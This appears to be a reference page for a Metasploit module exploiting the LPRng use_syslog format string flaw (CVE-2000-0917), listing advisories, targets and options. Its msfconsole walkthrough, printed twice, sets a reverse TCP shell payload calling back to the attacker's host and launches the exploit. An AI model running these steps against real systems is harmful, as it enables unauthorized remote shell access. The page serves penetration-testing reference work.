LPRng use_syslog Remote Format String Vulnerability
This module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin".
Exploit Rank
- Normal
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2000-0917
- OSVDB-421
- BID-1712
- US-CERT-VU-382365
- http://www.cert.org/advisories/CA-2000-22.html
- https://bugzilla.redhat.com/show_bug.cgi?id=17756
- EDB-226
- EDB-227
- EDB-230
Exploit Targets
- 0 - Caldera OpenLinux 2.3 Bruteforce
- 1 - Debug
Exploit Development
Similar Exploit Modules
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/drb_remote_codeexec
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/netsupport_manager_agent
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/misc/lprng_format_string
msf exploit(lprng_format_string) > show payloads
msf exploit(lprng_format_string) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(lprng_format_string) > set LHOST [MY IP ADDRESS]
msf exploit(lprng_format_string) > set RHOST [TARGET IP]
msf exploit(lprng_format_string) > show targets
msf exploit(lprng_format_string) > set TARGET [TARGET ID]
msf exploit(lprng_format_string) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/misc/lprng_format_string
msf exploit(lprng_format_string) > show payloads
msf exploit(lprng_format_string) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(lprng_format_string) > set LHOST [MY IP ADDRESS]
msf exploit(lprng_format_string) > set RHOST [TARGET IP]
msf exploit(lprng_format_string) > show targets
msf exploit(lprng_format_string) > set TARGET [TARGET ID]
msf exploit(lprng_format_string) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 515) |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
